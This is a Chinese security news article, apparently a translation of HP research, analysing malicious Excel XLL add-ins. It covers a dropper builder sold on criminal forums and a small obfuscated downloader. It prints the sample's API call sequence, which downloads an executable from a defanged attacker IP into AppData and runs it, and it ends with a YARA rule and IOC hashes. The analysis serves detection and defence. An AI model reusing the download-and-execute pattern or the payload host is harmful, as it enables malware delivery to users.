freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

攻击者开始使用 XLL 文件进行攻击
2022-01-20 18:42:00
所属地 北京

近期,研究人员发现使用恶意 Microsoft Excel 加载项(XLL)文件发起攻击的行动有所增加,这项技术的 MITRE ATT&CK 技术项编号为 T1137.006

这些加载项都是为了使用户能够利用高性能函数,为 Excel 工作表提供 API 调用接口。与 VBA 等其他接口相比,该方式能够更有效地扩展 Excel 的能力,使其支持更多功能,例如多线程。现在,攻击者也滥用这项技术来达成自己的恶意目标。

攻击者将带有恶意 XLL 附件或者恶意链接的电子邮件发送给用户,受害者点击附件打开 Microsoft Excel 后会提示其安装并激活加载项。

image.png-71.8kB

提示信息

攻击者通常将代码置于 xlAutoOpen函数中,该函数会在加载项被激活时立即触发执行。这意味着,与要求用户启用宏的 VBA 宏不同,受害者只要打开就会执行恶意代码。

由于 XLL 是可移植的可执行文件,许多电子邮件网关都会拦截该格式的文件或者仅允许受信任签名的加载项。

XLL 恶意软件出售

因为 XLL 恶意文件的快速增长,我们在地下犯罪论坛上进行了相应的调查,评估使用这种文件格式的恶意工具和服务的流行程度。

在读个地下犯罪论坛中,反复看到来自同一个攻击者的广告,正在销售一个可以创建 XLL Dropper 的构建工具。

image.png-310.8kB

地下论坛销售广告

用户指定一个可执行文件或下载诱饵文件的链接地址,生成 XLL 文件。

image.png-144kB

构建工具截图

EXCEL-DNA 生成加载项

发现的 XLL 文件大部分都有相同的结构,本质上说,XLL 文件是包含 xlAutoOpen导出函数的 DLL 文件。这些 XLL 文件应该是使用 Excel-DNA工具生成的,包含多个大型的资源。

image.png-198kB

文件资源段结构

其中包含 Excel-DNA 项目组件以及加载项,可以通过查看资源名或者同样存储在资源中的 XML 定义文件来识别包含 Excel 加载项的 XLL 文件。

image.png-73kB

XML 文件

包含恶意代码的加载项是使用 .NET 开发的,位于 MODDNA资源中。要分析该恶意代码,需要将资源保存到硬盘并使用 LZMA 算法进行解压缩。对 .NET 文件进行反编译后,可见 XLL 加载项的启动函数,该加载项为恶意软件 Downloader。

image.png-163.7kB

.NET 文件代码

使用 Excel-DNA 项目创建的 XLL 文件也可以使用项目提供的脚本自动解压缩,该脚本将 XLL 文件的路径作为参数,然后提取、解压缩并将资源保存到文件夹中。

image.png-166.9kB

提取 XLL 文件

自定义生成的加载项

其他不使用 Excel-DNA 的 XLL 文件中,一个 Downloader 大小只有 4.5 KB,但吸引了研究人员的注意。与其他 XLL 文件一样,该文件也具有导出函数 xlAutoOpen。为了混淆程序控制流,样本中包含许多连续的 jmp指令。

image.png-328.1kB

动态调试截图

经过分析后,研究人员发现可执行代码后有一段加密数据。数据在循环中解密,首先确定数据的位置与大小,紧接着进行异或解密。每处理八个字节,密钥就要对用改变。

image.png-53.9kB

解密代码

一旦数据被解密,样本可以提取三个 DLL 文件名、五个 API 函数名、Payload 的 URL 以及存储 Payload 的本地文件路径。样本首先通过进程环境块(PEB)遍历 InLoadOrderModuleList正确解析所需 DLL 的基址,然后再找到希望调用的 API 函数地址。

image.png-177kB

解析加载模块

然后,恶意软件使用解析后的 API 函数下载 Payload 并将其存储执行。在此样本中,API 调用如下所示:

GetProcAddress(“ExpandEnvironmentStringsW”)

ExpandEnvironmentStringsW(“”%APPDATA%\joludn.exe””)

LoadLibraryW(“UrlMon”)

GetProcAddress(“URLToDownloadFile”)

URLToDownloadFile(“hxxp://141.95.107[.]91/cgi/dl/8521000125423.exe”, “C:\Users\REDACTED\AppData\Roaming\joludn.exe”)

_wsystem(“C:\Users\REDACTED\AppData\Roaming\joludn.exe”)

检测 XLL 恶意文件的 Yara 规则为:

rule xll_custom_builder
{
meta:
description = "XLL Custom Builder"
author = "patrick.schlapfer@hp.com"
date = "2022-01-07"

strings:
str2 = "test"
op2 = { 4D 31 0E }
op4 = { 49 39 C6 }

condition:
uint16(0) == 0x5A4D and all of (op*) and filesize < 10KB
}

结论

Microsoft Excel 提供了许多合法执行代码的方式,如 Excel 4.0 宏、DDE 和 VBA,这些都已经被攻击者滥用。近期,研究人员发现,Dridex、Agent Tesla、Raccoon Stealer 和 Formbook 等恶意软件家族也开始利用 XLL 文件进行传播。利用 XLL 文件攻击的数量增长,表明攻击者对这种技术很感兴趣。

IOC

380f15a57aee6d2e6f48ed36dd077be29aa3a3eb05bfb15a1a82b26cfedf6160
c314c7feeb98de6391da83678e1639aade3fbe9c95846b8c2f2590ea3d34dd4f

参考来源

HP

# office # XLL
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录